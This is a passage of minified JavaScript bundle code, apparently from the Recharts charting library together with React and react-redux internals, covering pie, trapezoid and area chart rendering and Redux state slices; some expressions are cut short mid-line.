m.Children.forEach(e,n=>{Mt(n)||(sB.isFragment(n)?t=t.concat(y3(n.props.children)):t.push(n))}),Nm=t,o2=e,t};function b3(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>s2(i)):r=[s2(t)],y3(e).forEach(i=>{var s=Do(i,"type.displayName")||Do(i,"type.name");s&&r.indexOf(s)!==-1&&n.push(i)}),n}var w3=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,j3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const s=n[Symbol.toStringTag];return s==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${s}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(j3);var oB=j3.isPlainObject;const lB=Wr(oB);var l2,c2,u2,d2,f2;function m2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function p2(e){for(var t=1;t{var s=n-r,o;return o=tt(l2||(l2=qs(["M ",",",""])),e,t),o+=tt(c2||(c2=qs(["L ",",",""])),e+n,t),o+=tt(u2||(u2=qs(["L ",",",""])),e+n-s/2,t+i),o+=tt(d2||(d2=qs(["L ",",",""])),e+n-s/2-r,t+i),o+=tt(f2||(f2=qs(["L ",","," Z"])),e,t),o},fB={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},mB=e=>{var t=gn(e,fB),{x:n,y:r,upperWidth:i,lowerWidth:s,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,p=m.useRef(null),[h,x]=m.useState(-1),g=m.useRef(i),y=m.useRef(s),v=m.useRef(o),b=m.useRef(n),w=m.useRef(r),j=qd(e,"trapezoid-");if(m.useEffect(()=>{if(p.current&&p.current.getTotalLength)try{var Y=p.current.getTotalLength();Y&&x(Y)}catch{}},[]),n!==+n||r!==+r||i!==+i||s!==+s||o!==+o||i===0&&s===0||o===0)return null;var N=Qe("recharts-trapezoid",l);if(!f)return m.createElement("g",null,m.createElement("path",Fu({},Ut(t),{className:N,d:h2(n,r,i,s,o)})));var z=g.current,k=y.current,S=v.current,A=b.current,_=w.current,O="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),I=Mk(["strokeDasharray"],u,c);return m.createElement(Yd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},Y=>{var D=At(z,i,Y),M=At(k,s,Y),W=At(S,o,Y),$=At(A,n,Y),H=At(_,r,Y);p.current&&(g.current=D,y.current=M,v.current=W,b.current=$,w.current=H);var F=Y>0?{transition:I,strokeDasharray:P}:{strokeDasharray:O};return m.createElement("path",Fu({},Ut(t),{className:N,d:h2($,H,D,M,W),ref:p,style:p2(p2({},F),t.style)}))})},pB=["option","shapeType","activeClassName"];function hB(e,t){if(e==null)return{};var n,r,i=xB(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(kz({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},zB=e=>{var t=ot();return(n,r)=>i=>{e==null||e(n,r,i),t(_D())}},SB=(e,t,n)=>{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(AD({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function N3(e){var{tooltipEntrySettings:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(SD(t)):i.current!==t&&n(CD({prev:i.current,next:t})),i.current=t)},[t,n,r]),m.useLayoutEffect(()=>()=>{i.current&&(n(PD(i.current)),i.current=null)},[n]),null}function CB(e){var{legendPayload:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(_k(t)):i.current!==t&&n(Ak({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Ok(i.current)),i.current=null)},[n]),null}function PB(e){var{legendPayload:t}=e,n=ot(),r=je(De),i=m.useRef(null);return m.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(_k(t)):i.current!==t&&n(Ak({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Ok(i.current)),i.current=null)},[n]),null}var km,EB=()=>{var[e]=m.useState(()=>Ro("uid-"));return e},_B=(km=lw.useId)!==null&&km!==void 0?km:EB;function AB(e,t){var n=_B();return t||(e?"".concat(e,"-").concat(n):n)}var OB=m.createContext(void 0),k3=e=>{var{id:t,type:n,children:r}=e,i=AB("recharts-".concat(n),t);return m.createElement(OB.Provider,{value:i},r(i))},TB={cartesianItems:[],polarItems:[]},z3=nn({name:"graphicalItems",initialState:TB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:He()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=qn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:He()},removeCartesianGraphicalItem:{reducer(e,t){var n=qn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:He()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:He()},removePolarGraphicalItem:{reducer(e,t){var n=qn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:He()}}}),{addCartesianGraphicalItem:MB,replaceCartesianGraphicalItem:LB,removeCartesianGraphicalItem:IB,addPolarGraphicalItem:DB,removePolarGraphicalItem:RB}=z3.actions,$B=z3.reducer,BB=e=>{var t=ot(),n=m.useRef(null);return m.useLayoutEffect(()=>{n.current===null?t(MB(e)):n.current!==e&&t(LB({prev:n.current,next:e})),n.current=e},[t,e]),m.useLayoutEffect(()=>()=>{n.current&&(t(IB(n.current)),n.current=null)},[t]),null},FB=m.memo(BB);function WB(e){var t=ot();return m.useLayoutEffect(()=>(t(DB(e)),()=>{t(RB(e))}),[t,e]),null}var UB=["key"],VB=["onMouseEnter","onClick","onMouseLeave"],HB=["id"],KB=["id"];function g2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;tb3(e.children,ff),[e.children]),n=je(r=>nB(r,e.id,t));return n==null?null:m.createElement(PB,{legendPayload:n})}var QB=m.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:s,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(p=>p.tooltipPayload),getPosition:p=>{var h;return(h=r[Number(p)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:s,fill:o,dataKey:t,nameKey:n,name:Dd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return m.createElement(N3,{tooltipEntrySettings:f})}),JB=(e,t)=>e>t?"start":efn(typeof t=="function"?t(e):t,n,n*.8),tF=(e,t,n)=>{var{top:r,left:i,width:s,height:o}=t,l=$k(s,o),c=i+fn(e.cx,s,s/2),u=r+fn(e.cy,o,o/2),d=fn(e.innerRadius,l,0),f=eF(n,e.outerRadius,l),p=e.maxRadius||Math.sqrt(s*s+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:p}},nF=(e,t)=>{var n=Gt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},rF=(e,t)=>{if(m.isValidElement(e))return m.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Qe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=zf(t,UB);return m.createElement(Za,Ci({},i,{type:"linear",className:n}))},iF=(e,t,n)=>{if(m.isValidElement(e))return m.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),m.isValidElement(r)))return r;var i=Qe("recharts-pie-label-text",X$(e));return m.createElement(fv,Ci({},t,{alignmentBaseline:"middle",className:i}),r)};function aF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:s,dataKey:o}=n;if(!r||!i||!t)return null;var l=Mr(n),c=Io(i),u=Io(s),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((p,h)=>{var x=(p.startAngle+p.endAngle)/2,g=dt(p.cx,p.cy,p.outerRadius+d,x),y=rt(rt(rt(rt({},l),p),{},{stroke:"none"},c),{},{index:h,textAnchor:JB(g.x,p.cx)},g),v=rt(rt(rt(rt({},l),p),{},{fill:"none",stroke:p.fill},u),{},{index:h,points:[dt(p.cx,p.cy,p.outerRadius,x),g],key:"line"});return m.createElement(Mi,{zIndex:Zt.label,key:"label-".concat(p.startAngle,"-").concat(p.endAngle,"-").concat(p.midAngle,"-").concat(h)},m.createElement(tn,null,s&&rF(s,v),iF(i,y,Ve(p,o))))});return m.createElement(tn,{className:"recharts-pie-labels"},f)}function sF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?m.createElement(f3,{label:i}):m.createElement(aF,{sectors:t,props:n,showLabels:r})}function oF(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:s,id:o}=e,l=je(ms),c=je($z),u=je(xR),{onMouseEnter:d,onClick:f,onMouseLeave:p}=i,h=zf(i,VB),x=kB(d,i.dataKey,o),g=zB(p),y=SB(f,i.dataKey,o);return t==null||t.length===0?null:m.createElement(m.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,N=l?r:null,z=n&&j?n:N,k=rt(rt({},v),{},{stroke:v.stroke,tabIndex:-1,[pk]:b,[hk]:o});return m.createElement(tn,Ci({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},k6(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),m.createElement(NB,Ci({option:s??z,index:b,shapeType:"sector",isActive:j},k)))}))}function lF(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:s}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,p=Math.abs(n.minAngle),h=nF(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(z=>Ve(z,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*p-v,w=r.reduce((z,k)=>{var S=Ve(k,u,0);return z+(ge(S)?S:0)},0),j;if(w>0){var N;j=r.map((z,k)=>{var S=Ve(z,u,0),A=Ve(z,d,k),_=tF(n,s,z),O=(ge(S)?S:0)/w,P,I=rt(rt({},z),i&&i[k]&&i[k].props);k?P=N.endAngle+Gt(h)*g*(S!==0?1:0):P=l;var Y=P+Gt(h)*((S!==0?p:0)+O*b),D=(P+Y)/2,M=(_.innerRadius+_.outerRadius)/2,W=[{name:A,value:S,payload:I,dataKey:u,type:f,graphicalItemId:n.id}],$=dt(_.cx,_.cy,M,D);return N=rt(rt(rt(rt({},n.presentationProps),{},{percent:O,cornerRadius:typeof o=="string"?parseFloat(o):o,name:A,tooltipPayload:W,midAngle:D,middleRadius:M,tooltipPosition:$},I),_),{},{value:S,dataKey:u,startAngle:P,endAngle:Y,payload:I,paddingAngle:Gt(h)*g}),N})}return j}function cF(e){var{showLabels:t,sectors:n,children:r}=e,i=m.useMemo(()=>!t||!n?[]:n.map(s=>({value:s.value,payload:s.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:s.cx,cy:s.cy,innerRadius:s.innerRadius,outerRadius:s.outerRadius,startAngle:s.startAngle,endAngle:s.endAngle,clockWise:!1},fill:s.fill})),[n,t]);return m.createElement(R$,{value:t?i:void 0},r)}function uF(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:s,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:p}=t,h=qd(t,"recharts-pie-"),x=n.current,[g,y]=m.useState(!1),v=m.useCallback(()=>{typeof p=="function"&&p(),y(!1)},[p]),b=m.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return m.createElement(cF,{showLabels:!g,sectors:i},m.createElement(Yd,{animationId:h,begin:o,duration:l,isActive:s,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,N=[],z=i&&i[0],k=(j=z==null?void 0:z.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((S,A)=>{var _=x&&x[A],O=A>0?Do(S,"paddingAngle",0):0;if(_){var P=At(_.endAngle-_.startAngle,S.endAngle-S.startAngle,w),I=rt(rt({},S),{},{startAngle:k+O,endAngle:k+P+O});N.push(I),k=I.endAngle}else{var{endAngle:Y,startAngle:D}=S,M=At(0,Y-D,w),W=rt(rt({},S),{},{startAngle:k+O,endAngle:k+M+O});N.push(W),k=W.endAngle}}),n.current=N,m.createElement(tn,null,m.createElement(oF,{sectors:N,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),m.createElement(sF,{showLabels:!g,sectors:i,props:t}),t.children)}var dF={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Zt.area};function fF(e){var{id:t}=e,n=zf(e,HB),{hide:r,className:i,rootTabIndex:s}=e,o=m.useMemo(()=>b3(e.children,ff),[e.children]),l=je(d=>rB(d,t,o)),c=m.useRef(null),u=Qe("recharts-pie",i);return r||l==null?(c.current=null,m.createElement(tn,{tabIndex:s,className:u})):m.createElement(Mi,{zIndex:e.zIndex},m.createElement(QB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),m.createElement(tn,{tabIndex:s,className:u},m.createElement(uF,{props:rt(rt({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function S3(e){var t=gn(e,dF),{id:n}=t,r=zf(t,KB),i=Mr(r);return m.createElement(k3,{id:n,type:"pie"},s=>m.createElement(m.Fragment,null,m.createElement(WB,{type:"pie",id:s,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),m.createElement(ZB,Ci({},r,{id:s})),m.createElement(fF,Ci({},r,{id:s}))))}S3.displayName="Pie";var mF=["points"];function y2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zm(e){for(var t=1;t{var y,v,b=zm(zm(zm({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:s,value:x.value,payload:x.payload,points:t});return m.createElement(yF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),m.createElement(Mi,{zIndex:u},m.createElement(tn,Uu({className:r},h),p))}function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),PF=L([CF,Hr,Kr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),vv=()=>je(PF),EF=()=>je(wR);function j2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sm(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:s,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:s,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=Sm(Sm(Sm({},l),Io(i)),Lx(i)),u;return m.isValidElement(i)?u=m.cloneElement(i,c):typeof i=="function"?u=i(c):u=m.createElement(m3,c),m.createElement(tn,{className:"recharts-active-dot",clipPath:o},u)};function N2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:s,zIndex:o=Zt.activeDot}=e,l=je(ms),c=EF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Mt(u)?null:m.createElement(Mi,{zIndex:o},m.createElement(TF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:s}))}var E3=e=>{var{chartData:t}=e,n=ot(),r=Jn();return m.useEffect(()=>r?()=>{}:(n(Ib(t)),()=>{n(Ib(void 0))}),[t,n,r]),null},k2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},_3=nn({name:"brush",initialState:k2,reducers:{setBrushSettings(e,t){return t.payload==null?k2:t.payload}}}),{setBrushSettings:pH}=_3.actions,MF=_3.reducer,LF={dots:[],areas:[],lines:[]},A3=nn({name:"referenceElements",initialState:LF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=qn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=qn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=qn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:hH,removeDot:xH,addArea:vH,removeArea:gH,addLine:yH,removeLine:bH}=A3.actions,IF=A3.reducer,DF=m.createContext(void 0),RF=e=>{var{children:t}=e,[n]=m.useState("".concat(Ro("recharts"),"-clip")),r=vv();if(r==null)return null;var{x:i,y:s,width:o,height:l}=r;return m.createElement(DF.Provider,{value:n},m.createElement("defs",null,m.createElement("clipPath",{id:n},m.createElement("rect",{x:i,y:s,height:l,width:o}))),t)},$F={},O3=nn({name:"errorBars",initialState:$F,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(s=>s.dataKey===r.dataKey&&s.direction===r.direction?i:s))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:wH,replaceErrorBar:jH,removeErrorBar:NH}=O3.actions,BF=O3.reducer;function T3(e,t){var n,r,i=je(u=>Gr(u,e)),s=je(u=>Xr(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:q4.allowDataOverflow,l=(r=s==null?void 0:s.allowDataOverflow)!==null&&r!==void 0?r:G4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function FF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=vv(),{needClipX:s,needClipY:o,needClip:l}=T3(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return m.createElement("clipPath",{id:"clipPath-".concat(r)},m.createElement("rect",{x:s?c:c-d/2,y:o?u:u-f/2,width:s?d:d*2,height:o?f:f*2}))}function WF(e){var t=Io(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:s}=t,o=Number(i),l=Number(s);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var UF={};/** * @license React * use-sync-external-store-with-selector.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var jl=m;function VF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var HF=typeof Object.is=="function"?Object.is:VF,KF=jl.useSyncExternalStore,YF=jl.useRef,qF=jl.useEffect,GF=jl.useMemo,XF=jl.useDebugValue;UF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=YF(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=GF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,HF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=KF(e,s[0],s[1]);return qF(function(){o.hasValue=!0,o.value=l},[l]),XF(l),l};function ZF(e){e()}function QF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){ZF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var z2={notify(){},get:()=>[]};function JF(e,t){let n,r=z2,i=0,s=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return s}function d(){i++,n||(n=e.subscribe(c),r=QF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=z2)}function p(){s||(s=!0,d())}function h(){s&&(s=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:p,tryUnsubscribe:h,getListeners:()=>r};return x}var eW=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",tW=eW(),nW=()=>typeof navigator<"u"&&navigator.product==="ReactNative",rW=nW(),iW=()=>tW||rW?m.useLayoutEffect:m.useEffect,aW=iW();function S2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function sW(e,t){if(S2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=JF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=m.useMemo(()=>i.getState(),[i]);aW(()=>{const{subscription:c}=s;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[s,o]);const l=n||lW;return m.createElement(l.Provider,{value:s},t)}var uW=cW,dW=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function fW(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function M3(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(dW.has(r)){if(e[r]==null&&t[r]==null)continue;if(!sW(e[r],t[r]))return!1}else if(!fW(e[r],t[r]))return!1;return!0}function gv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:C3}function yv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:C3}var L3=(e,t,n)=>gz(e,"xAxis",gv(e,t),n),I3=(e,t,n)=>vz(e,"xAxis",gv(e,t),n),D3=(e,t,n)=>gz(e,"yAxis",yv(e,t),n),R3=(e,t,n)=>vz(e,"yAxis",yv(e,t),n),mW=L([De,L3,D3,I3,R3],(e,t,n,r,i)=>vr(e,"xAxis")?hu(t,r,!1):hu(n,i,!1)),pW=(e,t)=>t,$3=L([Z4,pW],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),B3=e=>{var t=De(e),n=vr(t,"xAxis");return n?"yAxis":"xAxis"},hW=(e,t)=>{var n=B3(e);return n==="yAxis"?yv(e,t):gv(e,t)},xW=(e,t,n)=>nz(e,B3(e),hW(e,t),n),vW=L([$3,xW],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=M0(e);if(!(r==null||i==null)){var s=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=s==null?void 0:s.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),gW=L([De,L3,D3,I3,R3,vW,oI,mW,$3,xI],(e,t,n,r,i,s,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:p}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,p+1),x!=null)return DW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:s,displayedData:x,chartBaseValue:u,bandSize:l})}}),yW=["id"],bW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function na(){return na=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:s,hide:o}=e;return[{inactive:o,dataKey:t,type:s,color:Vu(r,i),value:Dd(n,t),payload:e}]},SW=m.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:s,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:ys,settings:{stroke:r,strokeWidth:i,fill:s,dataKey:t,nameKey:void 0,name:Dd(o,t),hide:l,type:u,color:Vu(r,s),unit:c,graphicalItemId:d}};return m.createElement(N3,{tooltipEntrySettings:f})});function CW(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:s,dataKey:o}=r,l=Mr(r);return m.createElement(wF,{points:n,dot:s,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function PW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(s=>{var o,l,c={x:(o=s.x)!==null&&o!==void 0?o:0,y:(l=s.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Ua(Ua({},c),{},{value:s.value,payload:s.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return m.createElement(D$,{value:t?i:void 0},n)}function P2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:s}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=s,{id:f}=s,p=F3(s,yW),h=Mr(p),x=Ut(p);return m.createElement(m.Fragment,null,(t==null?void 0:t.length)>1&&m.createElement(tn,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},m.createElement(Za,na({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&m.createElement(Za,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&m.createElement(Za,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),m.createElement(CW,{points:t,props:p,clipPathId:i}))}function EW(e){var t,n,{alpha:r,baseLine:i,points:s,strokeWidth:o}=e,l=(t=s[0])===null||t===void 0?void 0:t.y,c=(n=s[s.length-1])===null||n===void 0?void 0:n.y;if(!Ee(l)||!Ee(c))return null;var u=r*Math.abs(l-c),d=Math.max(...s.map(f=>f.x||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),ge(d)?m.createElement("rect",{x:0,y:lf.y||0));return 